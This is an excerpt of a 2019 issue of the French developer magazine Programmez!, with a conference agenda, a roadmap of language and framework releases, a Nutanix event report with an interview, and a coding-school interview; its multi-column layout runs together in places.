Programmez! 2019 11
Programmez! 2019 11
Programmez! 2019 11
NET
[ grammez!]
programmez.com
CYBERSÉCURITÉ DEVEXTREME
HACKING
Simplifiez vos
développements
web
Secure by Design
Cryptographie quantique
DevSecOps
Déboguer un
Pentest
Cilium : firewall service web
pour conteneurs en PHP et
JavaScript
JAVA
Créer un jeu
Comprendre des 20 questions
la SRAM de l’Arduino
© D-Keine
programmez.com// 3
BRÈVES par la rédaction de
4 //programmez.com
AGENDA
Novembre orientée entreprise et transformation digitale. sur le logiciel libre, de l’open source. Il est
.Net Challenge 2019 Site : https://www.microsoft.com/en-us/ignite-the-tour/ organisé par des personnes issues du milieu
Le Microsoft DotNet Challenge de la société universitaire (étudiants et personnels) pour les
SoftFluent est un concours fait pour inspirer les 16 & 17 : Capitole du libre / étudiants lyonnais. L'objectif est de partager
professionnels et les amateurs de la technologie Toulouse différents aspects du libre et des communs, allant
.NET résidant en France. Le premier tour de la Le logiciel libre rencontre le grand public et les par exemple du logiciel libre (Linux, Firefox, etc.)
compétition est joué en ligne. L’enregistrement est développeurs en novembre prochain à Toulouse. aux espaces communs gérés collaborativement
gratuit. Il est ouvert sur toute la durée du Ce grand évènement avait rencontré un beau (Wikipedia, OpenStreetMap).
concours. A l’issue du tour joué en ligne, les succès en 2018 avec +1500 personnes. Cette Site : http://www.campus-du-libre.org
meilleurs participants de la phase en ligne seront année ce sont 100 conférences et 25 ateliers qui
invités à l’épreuve finale. seront proposés. Côté développement, il y aura du 26-27 : VoiceTech Paris
Le défi se termine le 17 novembre. choix : C++, développement web, embarqué, les Les technologies vocales se répandent peu à peu.
Si tu veux relever le défi : http://tinyurl.com/yxbj5vbc jeux, le DevOps. Site : https://capitoledulibre.org Ce salon met en avant les usages, les enjeux du
vocal. Les deux jours seront animés par des
4-8 : Devoxx Belgium / 19 : Congrès Delphi / Paris conférences et ateliers. Si le sujet vous intéresse,
Belgique Venez découvrir ou redécouvrir Delphi et la c’est l’évènement à ne pas rater.
L’évènement développeur belge de l’année : 200 dernière version sortie : RAD Studio 10.3.3. Site : https://www.voicetechparis.com/2019/
speakers, +200 sessions, + 3200 personnes ! Plusieurs sessions techniques seront proposées
Pour en savoir plus : https://devoxx.be durant la journée, avec un gros focus sur la Décembre
version en cours. Pour en savoir plus : http://agenda- 5 : conférence agilité / Paris
5 : JFIE 2019 / Paris congres-delphi-2019.mystrikingly.com Zenika organise une journée de conférences et
Cet évènement, qui réunit en moyenne plus de d’ateliers autour de l’Agilité sur le thème des
200 participants, est une occasion unique pour les 21 : Codeurs en Seine interactions et des émotions, le 5 décembre 2019
professionnels du test de réfléchir et à la cité de la Roquette à Paris. Si toi aussi tu
d'échanger sur les problématiques de la penses qu’on n’est pas des robots, inscris-toi :
gestion des exigences, composante https://zenikagileday.eventbrite.fr
indispensable de la gestion de la qualité
des tests de logiciels et systèmes 5 & 6 : La nuit de l’info 2019
d'information. Ces échanges et La nuit de l’informatique revient. Pour rappel, il
démonstrations s'appuieront sur 6 s’agit d’une grande compétition nationale pour
conférences illustrant la mise en œuvre de les étudiants, enseignants et entreprises pour
l’ingénierie des exigences dans des développer un projet durant la nuit. Les équipes
contextes variés : projets classiques, agiles, doivent choisir le défi à relever ! +4 000
lignes de produits ou systèmes complexes… Codeurs en Seine est une association qui existe participants ont tenté de ne pas dormir en 2018…
Site : www.cftl.fr depuis 2009 dont le but est la promotion et le Site : https://www.nuitdelinfo.com
partage des pratiques et des nouveautés
6 : DevFest / Strasbourg technologiques entre les acteurs du 10 & 11 : Paris Open Source
Le DevFest, ou "Developers Festival", est une développement informatique. Les valeurs sont Summit / Aubervilliers
conférence technique destinée aux développeurs. centrées sur le partage, l’innovation, le Le Paris Open Source Summit est le premier
Elle s'adresse aussi bien aux étudiants, aux rassemblement d’une communauté et évènement en Europe sur l’open source, les
professionnels ou tout simplement aux curieux, l’accessibilité à tous. Codeurs en Seine est une logiciels libres et l’innovation ouverte. Sommet
passionnés de technologies. association d’une vingtaine de bénévoles, qui ne international de conférences, salon business et
Site : https://devfest.gdgstrasbourg.fr cesse de grandir. Nous organisons également des rendez-vous communautaires, OSS Paris met en
meetups et des ateliers tout au long de l’année, lumière le rôle moteur des technologies open
13-14 : Microsoft Ignite Tour sur Rouen et ses environs. Nous sommes source dans les transformations numériques
Microsoft expériences n’aura pas lieu cette année. également partenaire de Devoxx4kids, dont actuelles et à venir. En 2019, OSS Paris devient le
L’évènement qui rassemblait l’écosystème et les l’objectif est de donner aux enfants le goût de la rendez-vous TECH de l’écosystème open source,
communautés se transforme en deux évènements : programmation, de la robotique et de l’ingénierie qui réunit pendant 2 jours les contributeurs,
• 13 &14 : Microsoft Ignite The tour. Deux jours en général. Nous travaillons depuis toujours en décideurs et utilisateurs de briques technologiques
pour se former à travers des parcours, des partenariat avec l’Université de Rouen et de et de solutions open source.
workshops et des rencontres… Mais aussi pour nombreuses écoles normandes afin de permettre Site : https://www.opensourcesummit.paris
explorer les innovations qui seront derrières les aux étudiants d’assister à la journée conférences.
usages de demain. Site : https://www.codeursenseine.com 13 / Agile Tour Strasbourg /
• 13 : Microsoft Envision The tour. Cet Strasbourg
évènement parlera IA, de compétences, 23 : Campus du libre / Lyon Dans la lignée des éditions précédentes, l’Agile
d’opportunités marchés, etc. Journée plus Lyon accueille la 2e édition du Campus du Libre Tour continue à rassembler une communauté
6 //programmez.com
A DÉCOUVRIR D’URGENCE
LE
CADEAU
GEÉEALK
ID
9,99 €
(+ 3 € de frais
postaux)
n Mme n M. Entreprise : III III III III III III III III III III Fonction : III III III III III III III III III III III III III III III III
Prénom : III III III III III III III III III III III III III Nom : III III III III III III III III III III III III III III III III III III III III
Adresse : III III III III III III III III III III III III III III III III III III III III III III III III III III III III III III III III III III III III
Code postal : III III III III III Ville : III III III III III III III III III III III III III III III III III III III III III III III III III III III
E-mail : III III III III III III III III III III III III III III @ III III III III III III III III III III III III III III III III III III III III III
n Je joins mon règlement par chèque à l’ordre de Programmez !
d’agilistes large et variée tout en ayant un focus rassemblant dévs, ops et architectes. On y trouve 3 : dotSwift / Paris
important sur la communauté et les intervenants une journée de formation, 2 jours de conférences La conférence Swift revient à Paris. Avec les
locaux. Alors si vous souhaitez découvrir, et une journée d’échanges sur les pistes. dernières évolutions du langage, le nouveau
apprendre, profiter des retours d'expérience de vos Site : http://snowcamp.io/fr/ framework UI, il y aura de nombreuses choses à
pairs, jouer et ouvrir vos horizons en matière découvrir.
d'agilité, inscrivez-vous : https://www.meetup.com/fr- 31 : Touraine Tech / Tours
FR/ElsassJUG/events/265130586/ Nouvelle édition de Touraine Tech. Au 14 : DevFest Paris / Paris
programme : 18 sessions, des ateliers. On y La DevFest revient à Paris mi-février. L’événement
2020 parlera design, UI, mobile, big data, cloud, jeux, promet de superbes sessions, des animations, et
Janvier IoT, architectures ! beaucoup de technos et de rencontres ! 36
14 : MongoDB Paris / Paris Site : https://touraine.tech sessions sont prévues !
Venez rencontrer MongoDB durant une journée Site : https://devfest.gdgparis.com
dédiée à la base de données et à l’écosystème. La Février
plus grande conférence MongoDB en France offre 1 & 2 : FOSDEM 2020 / Avril
plein d'occasions d'apprendre et rencontrer les Bruxelles 15-17 : Devoxx France / Paris
meilleurs experts. L’évènement incontournable des développeurs 29 & 30 : MixIT / Lyon
Site : https://www.mongodb.com/local/paris open source. C’est l’occasion de découvrir des
projets et surtout d’autres développeurs. On
22-25 : SnowCamp / Grenoble échange, on discute, on oppose les arguments.
SnowCamp est une grande conférence Site : https://fosdem.org/2019/
Que le ou la meilleure
gagne et rendez-vous
pour la finale le 26
novembre 2019 !
Merci à Aurélie Vache pour la liste 2019/2020, consultable sur son GitHub :
https://github.com/scraly/developers-conferences-agenda/blob/master/README.md
8 //programmez.com
ROADMAP
DÉJÀ DISPONIBLE
Flutter 1.9 Quelques éléments ici : Ruby on Rails souligne que ceci offre Parmi les annonces faites :
Les principales nouveautés attendues / https://swift.org/blog/5-1-release-process/ l'opportunité de segmenter certains • Shenandoah : ramasse-miettes à
annoncées : Google sort très enregistrements dans leurs propres faible temps de pause ;
rapidement les versions de Flutter. La Kotlin 1.3.50 bases de données à des fins de • API de constantes JVM ;
1.9 a été déployée le 10 septembre Les principales nouveautés attendues / dimensionnement ou d'isolation. La v6 • AArch64 : sert à supprimer toutes
dernier. Cette version inclut plus de annoncées : cette version apporte des propose un nouveau chargeur de code les sources liées aux arm64port. Le
1500 corrections et modifications ! Elle améliorations sur le convertisseur Java et propose désormais Webpacker but est de faciliter le portage ARM ;
supporte le prochain macOS et iOS 13, – Kotlin, plugin de debug Kotlin/Native comme bundle JavaScript par défaut. • archives CDS par défaut ;
les nouveautés du langage Dart et les pour IntelliJ Ultimate, support de la • améliorations sur la GC G1.
nouveaux composants Material. compilation des projets Java Goland 1.13
Grande nouvelle aussi, l’intégration de multiplateformes, nouveau design de Les principales nouveautés attendues / C# 8.0 & .Net Core 3.0
Flutter web dans le référentiel principal l’API temps et heure (préversion). annoncées : cette version doit activer Les principales nouveautés attendues /
de Flutter ! L’éditeur annonce aussi le le mode module par défaut (le mode annoncées : cette nouvelle évolution
support de 24 nouvelles langues. TypeScript 3.6 par défaut d'auto à activer) tout en du langage phare .Net arrive avec
Les principales nouveautés attendues / déconseillant le mode GOPATH. On .Net Core 3.0. Parmi les nouveautés :
Dart 2.5 annoncées : cette version introduit aura aussi des nouveautés sur les • Les types de références nullables
Les principales nouveautés attendues / une vérification plus stricte des génériques, la gestion des erreurs. doivent en finir avec les exceptions
annoncées : bien que Dart soit plus itérateurs et dans la génération des Au-delà : Go 2 sera LA grosse null. Pour cela, elles vous
discret que Go, il évolue lui aussi fonctions. Par exemple, il va vérifier évolution du langage Go, même si les empêchent de mettre null dans des
régulièrement. La v2.5 inclut une que le type soit correct pour équipes ne veulent pas faire une types de référence ordinaire comme
préversion du Foreign Function curr.value. La partie Promises a été version de rupture, mais des string. Par défaut, ces types seront
Interface qui permet d’appeler du code améliorée. Attention : l’équipe évolutions au fil des versions. Un des non nullables ! Cela pourrait avoir
C directement depuis Dart. Cette annonce un peu de casses sur le changements sera la manière de un impact sur les codes existants ;
version comporte pas mal de code. Regardez bien les notes de définir les évolutions et comment la • Les flux asynchrones ;
nouveautés : code complétion en version. Quelques nouveautés : gouvernance fonctionne. L’idée est • Types range et index ;
utilisant des modèles de machine import.meta supporté dans SystemJS, que la communauté soit plus • Expressions Switch.
learning (preview), amélioration sur les nouveaux playground. impliquée. La compatibilité avec Go C# 8.0 arrive avec .Net Core 3.0 qui a
const. Des fonctionnalités à suivre. Pour en savoir plus : 1.x sera un des aspects cruciaux. Pour connu un long développement. Cette
https://devblogs.microsoft.com/typescript/annou le moment, le planning de Go2 reste version supporte .Net standard 2.1,
SWIFT 5.1 ncing-typescript-3-6/ à préciser. + 3 000 API rajoutées, support des
Les principales nouveautés attendues / Notez que la 1.13 sera aussi la applications Windows Desktop dans
annoncées : ce sera la première mise à Ruby on Rails 6 dernière version à s’exécuter sur le WPF, génération d’exécutable .Net
jour de SWIFT 5. Cette version doit Les principales nouveautés attendues / Native Client. Le langage tournera indépendant, ramasse-miettes plus
apporter des corrections de bugs et annoncées : cette version propose la aussi sur Illumos, NetBSD sur arm64, performant, support des pateformes
terminer la stabilité des librairies et des fonctionnalité Action Mailbox OpenBSD sur arm64. ARM. Disponible pour Windows, Linux
modules. Bien entendu, la 5.1 est permettant de router des mails Pour en savoir + : et macOS. Attention : la v3 est une
rétrocompatible avec la 5.0. On doit entrants vers des boîtes mails se https://blog.golang.org/go1.13 version courante et non LTS comme
s’attendre à quelques changements comportant comme des contrôleurs. on aurait pu le croire. Tous les détails :
dans ce que les équipes appellent la On notera également, grâce à l'arrivée Java 13 https://devblogs.microsoft.com/dotnet/announci
« module stability » comme l’apparition d’une nouvelle API, la prise en charge Les principales nouveautés attendues / ng-net-core-3-0/
du .swiftinterface pour le fichier de connexions à plusieurs bases de annoncées : cette version apporte
d’interface à la place de .swiftmodule. données simultanément. L'équipe de plusieurs nouveautés et améliorations.
FIN 2019
.Net Core 3.1 annoncé dès la sortie de la v3 que la sans doute les API et librairies. React 16.9
Date de sortie : : novembre 3.1 sera disponible vers le mois de L’éditeur annonce une migration Date de sortie : automne / hiver
Les principales nouveautés novembre. Cette version sera LTS. Elle simplifiée depuis la 3.0. Les principales nouveautés attendues /
attendues / annoncées : Microsoft a corrigera les bugs connus et stabilisera annoncées : la 16.9 est en
10 //programmez.com
ROADMAP
développement depuis plusieurs mois. de fichiers parallèle. Il sera à préférer annoncées : Symfony 4.4 doit arriver l’apparition de nouvelles méthodes
Durant l’été, les développeurs ont été au __pycache__ présent dans les sous- courant novembre. Elle répond à la (__serialize & __unesrialize).
appelés à tester les préversions. répertoires des dossiers sources. On politique de mise à jour annuelle : On notera aussi le retrait de PEAR ou
Parmi les nouveautés, on notera la disposera aussi de la méthode 1 en mai, 1 en novembre. Cette la dépréciation de ext/wwdx.
dépréciation de UNSAFE_* ou as_integer_ratio(), dans le type int. Le version sera LTS. Au-delà : la prochaine version
encore de Javascript :URLS, des contrôle-C, SIGINT, sera modifié pour majeure devrait être la 8.0. Une
composants Factory, pas mal de éviter les problèmes liés à l’exception PHP 7.4 grosse nouveauté connue sera la
corrections de bugs. Parmi les KeyboardInterrupt. Plusieurs modules Date de sortie : fin novembre présente d’un compilateur JIT. Cette
nouveautés : Async act(), mesures de auront droit à des améliorations Les principales nouveautés attendues / nouveauté permettra de se passer du
performances avec React.Profiler. comme asyncio avec annoncées : la 7.4 doit apporter le Zend VM.
Une nouvelle version de React ProactorEventLoop ou encore dans gc préchargement (preloading) au cœur
DevTools a été déployée en août avec de nouveaux paramètres dans le de PHP pour pouvoir améliorer les Ruby 2.7
dernier. Pour suivre les sorties : get_objects(). performances. Ce mécanisme permet Date de sortie : décembre (?).
https://github.com/facebook/react/releases Pour plus de détails : de charger l’ensemble des fichiers Les principales nouveautés attendues /
https://docs.python.org/dev/whatsnew/3.8.html . PHP dès le démarrage et ainsi annoncées : le langage Ruby
Python 3.8 Au-delà : en toute logique, la améliorer les accès pour assurer une continue d’évoluer. La 2.6 est sortie
Date de sortie : octobre prochaine version majeure sera la 3.9. disponibilité constante de ceux-ci. En fin 2018, notamment avec un
Les principales nouveautés attendues / Pour le moment, pas grand-chose n’a revanche, en cas de changement des nouveau compilateur JIT. On
annoncées : plusieurs nouveautés été communiqué. Cette version ne fichiers, il faudra redémarrer le bénéficie aussi d’un nouveau module
devraient plaire aux développeurs. Tout devrait pas arriver avant 2021. serveur. On notera aussi la RubyVM ::AbstractSyntaxTree. Il
d’abord, on bénéficie du nouveau disponibilité des propriétés typées, analyse une chaîne de caractères et
paramètre pythonpycacheprefix. Il Symfony 4.4 l’extension FFI (Foreign Function retourne les nœuds d’arbre
permet d’utiliser le cache bytecode Date de sortie : novembre Interface) pour appeler du code C, le syntaxique. Un travail d’optimisation
dans une branche séparée du système Les principales nouveautés attendues / nouvel opérateur Null Coalescing, a été réalisé.
COURANT 2020
Swift 5.2 annoncées : les spécifications de coroutine est une unité de traitement attendues / annoncées :l’annonce
Date de sortie : ? C++20 sont désormais figées ; un qui s’apparente à une fonction (ou en a été faite à la dernière
Les principales nouveautés attendues / premier document complet sera routine), avec cette différence que si conférence BUILD. Il s’agit de .Net
annoncées : la prochaine version du disponible cet été. Cette future version une sortie du corps d’une fonction met Core vNext, donc au-delà de .Net
langage Swift doit se focaliser la correction du langage mettra en avant deux fin à l’exécution de celle-ci, la sortie de Core 3.0. Il s’agit de réunifier les
de bugs, la stabilité et les performances. nouveautés : les modules et les la coroutine suspend seulement son noms. L’ambition est d’être
Peu de détails pour le moment. coroutines. Les modules constituent traitement qui peut ensuite reprendre, disponible sur Windows, Linux,
une nouvelle alternative aux fichiers l’état du traitement à la sortie étant macOS, iOS, Android, tvOS,
Java 14 d’en-tête qui apportent un certain conservé. Une coroutine peut être vue webassembly, etc.
Date de sortie : mars nombre d’améliorations clés, comme un morceau de programme qui Au-delà, Microsoft a annoncé une
Les principales nouveautés attendues / notamment en isolant les effets des conserve son état, mais qui n’a pas de ambitieuse roadmap :
annoncées : les premières builds de macros et en permettant des thread d’exécution. Les
Java 14 sont disponibles. Cette version compilations évolutives, explique Herb. coroutines peuvent notamment
apportera des nouveautés limitées : Il ajoute qu’en 35 ans c’est la première être utilisées pour des
support des mémoires NVM, expressions fois que C ++ ajoute une nouvelle itérateurs et des générateurs.
Switch, retrait de java.security.acl. fonctionnalité permettant aux
utilisateurs de définir une limite .Net 5
C++20 d’encapsulation nommée. Date de sortie : novembre
Date de sortie : 2020. Les coroutines sont elles aussi une 2020.
Les principales nouveautés attendues / fonctionnalité à remarquer. Une Les principales nouveautés
LTS Seules les versions issues d’une forte VERSIONING Y = nouvelle fonction, version
On parle souvent de LTS et de non- communauté, d’une fondation, d’un On parle de versions majeures et de mineure (ex. : 15.6) ;
LTS. LTS signifie support long éditeur sont LTS. Chacun fait un versions mineures. Ces dernières Z = bug fix. On corrige les bugs,
terme. C’est-à-dire que cette version peu ce qu’il veut sur le support. sont souvent des versions de bug fix, les problèmes importants.
est supportée officiellement durant x Exemple : Angular est sur un cycle de sécurité, introduisant peu ou pas N’oubliez pas de lire les notes de
années et recevra les mises à jour et de 6 mois pour les versions de nouveautés. React explique aussi versions (release notes). Elles
les patchs de sécurité nécessaires. majeures. Le support se fait sur une la structure des versions avec x.y.z : indiquent les changements, les
Une version non-LTS a une durée version. X = une version majeure modifications, les nouveautés, la
de vie très courte, quelques mois. introduisant une rupture ; migration entre les versions.
programmez.com// 11
.Next Copenhague : Nutanix fête ses 10 ans
avec plusieurs améliorations significatives
de ses solutions pour le cloud
Era, Xi Leap, Xi Cluster, etc. Nutanix renforce son offre sur plusieurs fronts et s’intègre nativement à ServiceNow
pour encore plus d’automatisation du cloud.
pas vers une automatisation accrue applications via les “blueprints” Au-delà du “Software
À
Copenhague, Nutanix a
organisé du 8 au 10 octobre des clouds privés annonçant une proposés par le framework, lesquels Defined Datacenter”
dernier la 4e édition de son intégration maintenant totale avec la sont accessibles via le catalogue de Dans la droite lignée de sa volonté de
évènement .Next Europe 2019. solution d’ITSM, Service Now. Cette services de ServiceNow. Il est aussi transiter vers une infrastructure plus
Devant plus de 4 000 personnes, intégration apporte aux équipes une possible de provisionner directement transparente, Nutanix met en avant une
l’éditeur qui compte aujourd’hui vision complète de bout en bout des des environnements définis et pile de plus en plus complète qui va au-
parmi les leaders du cloud ressources Nutanix du datacenter préchargés pour les différentes delà du “Software Defined Datacenter”
computing a fêté ses 10 ans. Devant pour en améliorer le pilotage. � équipes, de développement et de et s’étend aux différents clouds. La firme
cette foule nombreuse venue de En outre, le moteur d’automatisation production. s’appuie pour y arriver sur des solutions
toute la zone EMEA, Nutanix, a X-Play du logiciel de gestion Prism Pro Qui dit automatisation dit aussi plus complémentaires assurant une continuité
réaffirmé, tant par les mots que par s’agrémente d’une nouvelle “d’autonomie” pour l’infrastructure, de services entre les systèmes on premise
les actes, sa stratégie historique qui commande qui sert à tirer parti du en intégrant des fonctionnalités de et les clouds publics. Pour illustrer son
vise à simplifier les infrastructures et service ITSM de ServiceNow pour self-tuning, self-learning, self-driving propos, Nutanix a démontré sur scène
du cloud pour les rendre plus avertir les responsables informatiques et self-healing boostées à l’IA, son service de reprise après sinistre, XI-
transparents. des incidents et des alertes dans leur Nutanix introduit une nouvelle brique Leap, qui permet un failover et un
environnement cloud privé. Ces baptisée Insights qui intègre de failback des VM vers le cloud Nutanix sur
Intégration capacités d’automatisation se l’analyse prédictive et du support ESXi et AHV. À noter que ce service est
de Service Now complètent de l’introduction dans le automatisé afin de vérifier que les maintenant proposé depuis des
Et c’est la première chose qu’a tenu à ServiceNow Store de Nutanix Calm configurations des utilisateurs sont datacenters dans deux nouvelles régions
rappeler Dheeraj Pandey, le CEO et sous forme de plug-in. Calm est un optimales et répondent aux bonnes en Europe, l’Italie et l’Allemagne, en
cofondateur de Nutanix en montant framework de gestion d’applications pratiques définies par l’éditeur. complément de l’Angleterre (Londres)
sur scène. « Notre mission est multicloud qui permet Délivrée en mode SaaS, la solution annoncée l’an dernier.
aujourd’hui de rendre les l’automatisation, l’orchestration et la permet ainsi de réduire les actions Autre démonstration faite en direct,
infrastructures invisibles pour les gestion du cycle de vie. Avec ce plug- manuelles que doivent réaliser les celle de Xi Clusters on AWS qui
utilisateurs, qu’elles soient on premise, in, les utilisateurs de ServiceNow équipes et permet de garantir une permet aujourd’hui de déployer la
hybride, cloud ou multicloud. Dans peuvent rapidement dimensionner, meilleure disponibilité des pile Nutanix en bare metal sur des
cette optique, la firme a fait un grand gérer et mettre à l’échelle des infrastructures. clusters Amazon Web Services. �
12 //programmez.com
�
L’intégration de Nutanix à ServiceNow permet non seulement d’obtenir une vue complète des �
infrastructures Nutanix, mais aussi d’automatiser plusieurs tâches.
Schéma de fonctionnement de Xi Cluster.
Concrètement, les détenteurs d’un et de déployer des bases de
compte AWS vont pouvoir déployer données en quelques clicks sur
en bare metal sur des infrastructures différentes infrastructures.
EC2 des clusters Nutanix AOS avec Fonctionnant pour l’instant avec les
toute la stack de Nutanix, y compris moteurs SGBD SQL Server, Oracle,
l’hyperviseur AHV. Il ne sera alors Postgres SQL et Maria DB, elle
pas nécessaire de modifier les permet de déployer des bases de
applications pour les porter sur le données avec leur VM et leur
cloud public qui deviendra une paramètre sur divers
simple extension via Virtual Private environnements, on premise ou sur
Cloud, Direct Connect ou un VPN. le cloud, par exemple pour le test et
Interrogé sur la similarité de sa le développement de nouvelles �
solution avec ce que propose déjà applications. La version 2.0, Plusieurs nouveautés pour Era avec la prise en charge de Mongo DB et SAP.
VMware sur le sujet, Nutanix a attendue prochainement, intègrera
reconnu que l’idée était bonne, mais le support de solutions NoSQL en TROIS QUESTIONS
que la mise en application par son commençant par Mongo DB. Le
concurrent n’était pas optimale, support de SAP Hana est également
À SYLVAIN SIOU,
rappelant qu’avec cette dernière, il annoncé. Era 2.0 apportera Senior Director EMEA de Nutanix
était nécessaire de reconstruire les également une gestion des accès sur Karbon
applications pour les porter sur le des données native ainsi que la Sylvain, qu’est-ce que Karbon ?
cloud public. gestion centralisée des bases de Sylvain Siou : Karbon fait partie intégrante de la pile logicielle de Nutanix et apporte
La démonstration réalisée sur scène données sur des infrastructures une solution prête à la production pour Kubernetes ainsi que la persistance pour les
mettait en avant la simplicité de ces multiclusters. � applications Kubernetes, la visibilité et le suivi des containers dynamiques, la gestion
déploiements réalisés en 5 clics et La conférence a également été des bases de données dans une offre simple à déployer et à gérer. Nutanix fournit
surtout les avantages qu’ils l’occasion d’obtenir des retours ainsi une solution et un outillage pour automatiser dans une approche DevOps le
apportent pour la réalisation de d’utilisation sur les dernières déploiement des applications de type Kubernetes dans leur cloud privé. La
tâches ponctuelles. Il est ainsi solutions de Nutanix, notamment Xi persistance est assurée via le support de l’interface standard CSI (Container Storage
possible de “mettre en pause” un IoT. L’intégrateur et éditeur français Interface) qui permet de tirer parti du stockage en mode block (Volumes) et en mode
cluster Nutanix sur AWS. Les Hardis, spécialisé dans la gestion Fichiers (Files) de Nutanix pour un stockage Kubernetes simple et performant.
instances EC2 la supportant sont des entrepôts, a ainsi fait la
alors décommisionnées démonstration sur scène d’une En quoi Karbon permet de simplifier les déploiements Kubernetes ?
automatiquement afin de réduire les application qui reconnaît le Sylvain Siou : Kubernetes est un ensemble de technologies qui demande beaucoup
coûts et les informations qui y sont mouvement des palettes grâce aux de gestion et de lifecycle management. Avec Karbon nous permettons le déploiement
relatives sont alors stockées dans le images des caméras de et la gestion en un clic d’une solution Kubernetes préconfigurée avec une
service de stockage objets S3, ce vidéosurveillance, afin de simplifier automatisation des mises à jour. Toute personne qui a déjà déployé un cluster
qui permet de redémarrer le cluster le travail des opérateurs de Kubernetes comprend à quel point une solution comme celle-ci peut être utile pour
à l’identique plus tard. À noter que logistique. “Non seulement la gérer ses environnements de container. Elle est beaucoup plus simple à utiliser et à
Xi Clusters est aussi actuellement solution Xi IoT facilite la mise en configurer. On peut ainsi facilement déployer plusieurs clusters Kubernetes sur la
en test sur les infrastructures GCP place de ces solutions avec une même plateforme pour avoir des ressources dédiées pour chaque équipe.
de Google. approche clés en main, mais
La solution Era, pour la gestion des permet aussi de simplifier les Quels sont aujourd’hui les cas d’usages de Karbon ?
bases de données, bénéficie aussi déploiements à l’échelle”, a ainsi Sylvain Siou : Le cas d’usage principal, c’est de fournir une plateforme de
de nouvelle amélioration avec expliqué Damien Pasquinelli, CTO microservices on-premise sans avoir un TCO élevé. Kubernetes reste une technologie
l’arrivée d’une version 2.0. D’abord de Hardis Advanced Solution qui émergente souvent très gourmande en expertise et en ressources humaines. Ensuite,
pensée pour les DBA, elle permet porte l’offre IoT chez Hardis. on voit des équipes qui utilisent Karbon pour maquetter rapidement des solutions en
notamment de cloner, de dupliquer • interne qu’elles voudraient ensuite basculer sur le cloud et inversement.
programmez.com// 13
ÉCOLE
14 //programmez.com
ÉCOLE
programmez.com// 15
ÉCOLE
des entreprises, le bachelor Tech&Code Factory Certaines formations optent pour alternance. Les étudiants auront la possibilité
propose une formation axée sur des cas l’enseignement sur mesure avec des de traiter en cours les problématiques vues en
concrets en lien avec les besoins et promotions réduites et d’autres recrutent en entreprises. Au-delà de l’apprentissage
problématiques des entreprises. La formation a grand nombre pour offrir un enseignement technologique, la formation propose également
été co-construite avec les entreprises de telle supérieur à tous. des cours de management pour faciliter
sorte que nos étudiants soient opérationnels Tech&Code Factory a opté pour un suivi l’intégration des étudiants en entreprise, et ce,
dès la première année. personnalisé avec des promotions de 20 dès leur première entrée dans une entreprise.
étudiants. Les étudiants sont alors encadrés Le travail en équipe est une bonne manière de
Finalement : trop d’écoles / formations ne par des tuteurs en entreprise et par un panel stimuler les étudiants et ce tout au long de la
tuent-elles pas l’école informatique avec d’intervenants professionnels durant les cours formation.
une offre pléthorique et le risque d’être afin de garantir un suivi tout au long du
peu visible ? Et surtout, avec cette cursus. Le lien avec l'entreprise est repensé À la sortie de votre formation, à quoi peut
concurrence très vive, comment faites- pour garantir un accompagnement prétendre la personne ? Quelles sont ces
vous pour recruter car sans étudiants, pas personnalisé dans leur intégration. Ainsi, les compétences ?
d'école ? étudiants collaborent en petits groupes au Ce bachelor a pour vocation de former à des
Les métiers du digital se sont diversifiés ces sein d’une même entreprise et apprennent métiers qui répondent à des besoins précis et
dernières années. Certains secteurs d’activités ensemble la culture professionnelle. identifié par les entreprises. Notre ambition
attirent plus que d’autres. Ainsi, il y a une est de former des développeurs polyglottes qui
hétérogénéité des besoins et des habitudes Ne fait-on pas (trop) rêver le jeune, savent maîtriser différentes langages
d’apprentissage. Pour mieux répondre aux l’étudiant ou la personne qui se réoriente ? informatiques. La formation permet
besoins des étudiants, les différentes écoles Oui l’informatique embauche mais pas d’acquérir et d'articuler des compétences de
ou formations tentent d’y répondre en tous les profils ni toutes les compétences ? savoir être et savoir-faire, compétences
proposant des pédagogies différentes en Un choc culturel pour certain(e)s ? primordiales en entreprise.
adéquation également avec les besoins des Lors d’un lancement de formation, il est Nous préparons aux métiers de développeur
entreprises. Par exemple, un développeur nécessaire d’adopter une communication web fullstack, développeur front-end,
informatique peut avoir un profil de claire pour ne pas avoir un effet déceptif. Une développeur back-end, développeur mobile
technicien (BAC+2) ou d’ingénieur (BAC+5). école ou une formation, ce sont des ou encore développeur-intégrateur de
Sécurisant et professionnalisant, le format du structures plus complexes qu’une entreprise. solutions complexes. Le Bachelor permet de
bachelor choisi par Tech&Code a séduit les C’est une communication où l’on ne peut pas former des développeurs web dotés d’une
étudiants qui sont déjà nombreux à s’inscrire adapter les méthodes en vigueur dans les vision 360° du monde du numérique et d’une
aux sessions d’admissions. Le bachelor est le entreprises. L’étudiant doit comprendre les connaissance approfondie du monde de
mix parfait entre l’enseignement académique grandes lignes de la formation. L’étape du l’entreprise pour garantir son employabilité
et professionnel car la formation répond aux concours permet d’expliciter nos attentes et sur le long terme.
besoins actuels et futurs des entreprises. de comprendre celle de l’étudiant. Les test
L’attrait de la formation repose également sur individuels ou collectifs permettent de savoir si N’est-ce pas une certaine « fuite en avant »
la méthodologie en mode projet. Ainsi, les la formation convient aux étudiants. Les avec les recherches parfois extravagantes
étudiants sont ancrés, dès la première année, entreprises participent au recrutement des des recruteurs et entreprises qui cherchent
sur des cas réels d'entreprises, y compris étudiants et ce sont elles, qui sélectionnent et les développeurs à 42 bras sachant tout
durant leurs cours. embauchent les étudiants. faire pour un salaire inférieur à la
moyenne ?
Combien coûte le cursus ? Dans votre école, quels sont les focus que Pour certains, le développeur apparaît comme
Il s’agit d’un cursus en trois ans, accessible vous mettez en avant ? Quelle est la part un touche-à-tout technique nécessaire aux
sur concours, en apprentissage, 100 % gratuit du travail personnel ? Comment les entreprises qui opèrent leur transition
et rémunéré dès la deuxième année pour les motiver pour que les étudiants soient numérique. Cette approche est peu réaliste, à
étudiants. curieux car nos métiers changent vite ? mon goût, d’autant plus avec la multiplication
Notre formation s’adresse aux étudiants de 17 des nouvelles technologies. On peut même
Avez-vous le sentiment que l’on mise plus à 25 ans détenant ou non le BAC. Lors des dire qu’il n’existe pas un, mais de multiples
sur la quantité que la qualité ? Est-ce sessions d’admissions, c’est leur appétence et profils de développeurs. C’est un des maillons
valable dans toute la France ou selon les leur attirance pour les domaines techniques liés essentiels dont l’entreprise a aujourd’hui
régions ? au web qui sont évaluées. La motivation et la vraiment besoin. Les compétences Tech sont
Les concurrences entre établissement curiosité sont également les grands critères de très recherchées et ne cessent d’évoluer. Co-
s’aiguisent et conduisent à considérer recrutement. Durant les trois ans de formation, construite avec des entreprises, la formation
l’enseignement supérieur comme un espace nous mettons un point d’honneur sur le mode Tech&Code répond donc à des besoins précis,
